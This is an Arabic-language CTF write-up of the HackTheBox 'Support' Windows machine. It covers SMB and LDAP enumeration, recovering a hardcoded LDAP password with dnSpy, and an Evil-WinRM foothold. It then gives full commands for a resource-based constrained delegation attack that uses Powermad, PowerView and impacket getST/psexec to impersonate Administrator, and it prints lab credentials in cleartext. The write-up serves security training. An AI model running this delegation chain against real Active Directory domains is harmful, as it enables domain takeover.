> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md).

# شرح Support HackTheBox

{% embed url="<https://app.hackthebox.com/machines/484>" %}

{% hint style="warning" %}
**المهارات:**

* استكشاف SMB
* تحليل ثنائي EXE
* تصحيح الأخطاء باستخدام DNSpy
* تعيين نقاط التوقف والحصول على كلمة مرور LDAP كنص صريح (DNSpy)
* استطلاع مستخدمي Kerberos (kerbrute)
* استطلاع LDAP (ldapsearch)
* تسرب المعلومات
* استغلال مجموعة مستخدمي الإدارة البعيدة (Evil-WinRM)
* استطلاع SharpHound + BloodHound
* استغلال حسابات الدعم المشتركة (GenericAll) (هجوم RBCD) (التفويض المقيّد المستند إلى الموارد)
* هجوم التفويض المقيّد المستند إلى الموارد - إنشاء كائن حاسوب (powermad.ps1)
* هجوم التفويض المقيّد المستند إلى الموارد - PowerView\.ps1
* هجوم التفويض المقيّد المستند إلى الموارد - الحصول على تذكرة الخدمة المزوَّرة (getST.py)
* استخدام التذكرة للحصول على وصول Administrator (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252Fo2rnKrSfjXgEugmM3bpN%252Fimage.png%3Falt=media%26token=f926bbcb-20af-41c6-9325-7b565641549e&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=13a95f453743ff7d80a8a636b310fcf177817f872fc7fa53119ce971d2271c20" alt=""><figcaption></figcaption></figure>

#### **فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/8203f0dfc3c7ab10c7869fac016b20ec2b7a70e9" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts
```

<figure><img src="/files/a168e31e9da7781d90cc53ff1684738f96eeaa59" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:** استخدام Nmap لفحص إصدارات المنافذ واستخراج المعلومات في ملف "targeted":

```bash
nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted
```

<figure><img src="/files/70526542002afa9d7e4aba8db9fc976e4a8a1f30" alt=""><figcaption></figcaption></figure>

## **استطلاع وحدة التحكم بالمجال:** <a href="#enumeration-et-exploitation" id="enumeration-et-exploitation"></a>

### قائمة SMB:

استخدام CrackMapExec لاستطلاع SMB.

```bash
crackmapexec smb 10.10.11.174
```

<figure><img src="/files/82eafe00792485d1241166bc13324f8c3f01758b" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف

<figure><img src="/files/d041e9544dae13cfe77c420ef82781ec135a1d08" alt=""><figcaption></figcaption></figure>

### **قائمة Kerberos:**

استخدام Kerbrute لاستطلاع المستخدمين.

```bash
kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt
```

<figure><img src="/files/bb468d3a1e1a9cd85228dd861a1016b76ee6c31f" alt=""><figcaption></figcaption></figure>

### **استكشاف المشاركة الشبكية:**

البحث عن المجلدات المشتركة في الشبكة.

```bash
smbmap -H 10.10.11.174 -u none
```

<figure><img src="/files/0c32b93579c5b3aeabea0be8d75cd662e610d921" alt=""><figcaption></figcaption></figure>

```bash
smbclient //10.10.11.174/support-tools -N
```

<figure><img src="/files/81be824d9c68baa0711386d5e7cd5fc6a54f404f" alt=""><figcaption></figcaption></figure>

نكتشف ملف zip مثيرًا للاهتمام يسمى "UserInfo-exe-zip". للمتابعة، نستخدم الأمر `get` لتحميله إلى جهازنا.

<figure><img src="/files/1f29d55a35740e1de511be9a3d8b5959cc7c580e" alt=""><figcaption></figcaption></figure>

### /*/* تحليل ملف ثنائي لويندوز:/*/*

سنقوم بتشغيل ملف تنفيذي لويندوز على جهاز مزود بويندوز.

للقيام بذلك، نحتاج إلى:

1. نقل أرشيف ZIP

<figure><img src="/files/fea3c38b6b80c9f02c57ad17393e4c21436e73fd" alt=""><figcaption></figcaption></figure>

2. ترحيل إعدادات VPN
3. `/etc/hosts` الإعدادات

<figure><img src="/files/64e823b9d3945bcdae99694ee9d527b55f3e0cb5" alt=""><figcaption></figcaption></figure>

لتشغيل الملف الثنائي وتحديد جميع المستخدمين الصالحين، ما عليك سوى إدخال الأمر التالي

```bash
./UserInfo.exe find -first * -last *
```

#### سيسمح لنا هذا الملف الثنائي بسرد المستخدمين.

<figure><img src="/files/75bb47c11447221bf48f51ea15a61cef390b51b5" alt=""><figcaption></figcaption></figure>

#### تحليل ملف ثنائي لويندوز تم تنزيله باستخدام DNspy.

{% embed url="<https://github.com/dnSpy/dnSpy>" %}

<figure><img src="/files/a2a1cbaf9bb469aa7f4ef70d5b7889ff35fd2081" alt=""><figcaption></figcaption></figure>

### **استخراج كلمة مرور بالنص الصريح:**

استخدام DNspy لاستخراج كلمة مرور بالنص الصريح من ملف ثنائي لويندوز.

<figure><img src="/files/19bceb5c0dc4188fea4375086c5ffdaaf58d6c36" alt=""><figcaption></figcaption></figure>

سنشغل البرنامج، لكننا سنتوقف فقط في القسم الذي يكون فيه النص واضحًا.

<figure><img src="/files/ffa54283900fb3ff07eedab33b18e0fc63f47662" alt=""><figcaption></figcaption></figure>

هذه هي كلمة مرور LDAP:

<figure><img src="/files/3de08ca5dc05dd44594cff9599ed2e30e3c99710" alt=""><figcaption></figcaption></figure>

### **التحقق من كلمة مرور LDAP:**

التحقق من كلمة المرور المستخرجة باستخدام CrackMapExec.

```bash
crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="/files/970ed79f591ab88ac19ea239d98dc76f637109af" alt=""><figcaption></figcaption></figure>

### قائمة المجال:

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

#### مستخدمو المجال

```
enumdomusers
```

<figure><img src="/files/3c0aeeb87f8af93ceea1f4e8f65df881129e136d" alt=""><figcaption></figcaption></figure>

#### مجموعات المجال

```bash
enumdomgroups
```

<figure><img src="/files/5f768058e55ab60b0ed9bc545f9f0bd769e59c10" alt=""><figcaption></figcaption></figure>

#### أوصاف المستخدمين:

```bash
querydispinfo
```

<figure><img src="/files/78e3ee13330f49b5123ff076aaa1f90e7ee63ec7" alt=""><figcaption></figcaption></figure>

#### أدرج جميع مستخدمي المجال الصالحين في ملف.

```bash
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]'
```

<figure><img src="/files/dd5b03e04d09e7021e5f0da10f5f4b8e1c1885ab" alt=""><figcaption></figcaption></figure>

#### سنتحقق الآن مما إذا كانت كلمة مرور LDAP معاد استخدامها مع أحد المستخدمين التاليين:

```bash
crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

ومع ذلك، هذا لا ينجح.

<figure><img src="/files/8550cf9a21ad02e94ea75f5dae326e91b04fe931" alt=""><figcaption></figcaption></figure>

### **قائمة LDAP:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap>" %}

#### استخدام LDAP search لاستطلاع المعلومات.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

#### تتوفر الكثير من البيانات، ومع ذلك، من خلال تطبيق عامل تصفية على معلومات الأغنية، يتم اكتشاف كلمة مرور لمستخدم support.

```bash
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20
```

<figure><img src="/files/1b0c555babf0b67081ea36415a151cba423300a0" alt=""><figcaption></figcaption></figure>

## **الاستغلال:**

#### استخدم CrackMapExec لتأكيد كلمة المرور المرتبطة بحساب support.

```bash
crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

هذا المستخدم جزء من مجموعة مستخدمي الإدارة البعيدة، مما يسمح لنا بالاتصال عبر Windows Remote Management (WinRM).

```bash
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

### **استخدام Evil-WinRM:**

الاتصال بالنظام الهدف عبر Evil-WinRM باستخدام المعلومات المحددة التي تم الحصول عليها.

<figure><img src="/files/d46502ebacf5e947563b66229611c622db422009" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

### **مراجعة الامتيازات الحالية:**<br>

باستخدام `whoami /priv` أمر للتحقق من امتيازات المستخدم، لكن دون نجاح.<br>

<figure><img src="/files/9ca0336a78647a13f871436bd8054a9e2fd8db78" alt=""><figcaption></figcaption></figure>

### **تحليل مجموعات العضوية:**

باستخدام `net user support` أمر لفحص المجموعات التي ينتمي إليها المستخدم.

اكتشاف مجموعة نادرة على ما يبدو، "shared support accounts".

<figure><img src="/files/0b0393440e6eb7ff18dae7e0cff93ba9b606105d" alt=""><figcaption></figcaption></figure>

### **استخدام BloodHound لتحليل الامتيازات:**

#### استخدام أداة BloodHound لرسم علاقات الوصول.

{% embed url="<https://github.com/BloodHoundAD/SharpHound>" %}

<figure><img src="/files/e2e1519ed81fd16149936cbe413e79f6a2eee555" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="/files/81cfefa1ced6e226362450b1e0e2b67d0a6b4780" alt=""><figcaption></figcaption></figure></div>

### **تشغيل SharpHound لمزيد من التحليل:**

استخدام SharpHound، وهي أداة مكملة لـ BloodHound، لجمع بيانات إضافية حول علاقات الوصول.

```powershell
./SharpHound.exe -c All
```

<div data-full-width="true"><figure><img src="/files/713ac185fa22e0fad2f37360f8279fe55f659062" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/1d133181a7eba388c5d61752f0d3a056bf39e5d5" alt=""><figcaption></figcaption></figure>

## ثغرة هجوم التفويض المقيّد المستند إلى الموارد:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation>" %}

### **تحديد الثغرة: هجوم التفويض المقيّد المستند إلى الموارد:**

<div data-full-width="true"><figure><img src="/files/1cb6945615db849ee82f22fd2671f1abead3c8aa" alt=""><figcaption></figcaption></figure></div>

#### نشر برنامج Powermad النصي لإنشاء حساب جهاز.

{% embed url="<https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1>" %}

```powershell
upload Powemad.ps1
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

#### استخدام PowerView للتحقق من إنشاء حساب الجهاز.

{% embed url="<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>" %}

```powershell
upload PowerView.ps1
Import-Module ./PowerView.ps1
```

<div data-full-width="true"><figure><img src="/files/e148b6ddc24a8ca6a825925980936b0a89581ce6" alt=""><figcaption></figcaption></figure></div>

#### تعريف الأذونات لحساب الجهاز باستخدام أوامر PowerShell.

```powershell
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
```

#### بهذا الأمر، نتحقق مما إذا كانت العملية الكاملة 'Get-DomainComputer dc' تعمل باستخدام خاصية 'msds-allowedtoactonbehalfofotheridentity'.

<div data-full-width="true"><figure><img src="/files/0f45325c6d450ca11fc95b97499a4fa50f7e9955" alt=""><figcaption></figcaption></figure></div>

### **استغلال الثغرة**

#### استخدام أداة Impacket لتنفيذ `getST` الأمر للحصول على تذكرة TGT تنتحل هوية المستخدم Administrator.

```bash
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456
```

<figure><img src="/files/eb948ce1c2006f72df96c91315f767b93498fae1" alt=""><figcaption></figcaption></figure>

#### تكوين بيئة Kerberos الخاصة بـ Administrator عبر تصدير `KRB5CCNAME`، ثم الاتصال بالنظام الهدف باستخدام Impacket `psexec`.<br>

```bash
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k dc.support.htb
```

<figure><img src="/files/7da2e2c03879347f4244d970b206df47bbe77d48" alt=""><figcaption></figcaption></figure>

### العلم النهائي :)

<figure><img src="/files/1a0ad63fdb3809094c694bd9c94a963a6fa11952" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cb17d54095eda936d737951c3d08347c8705d759" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
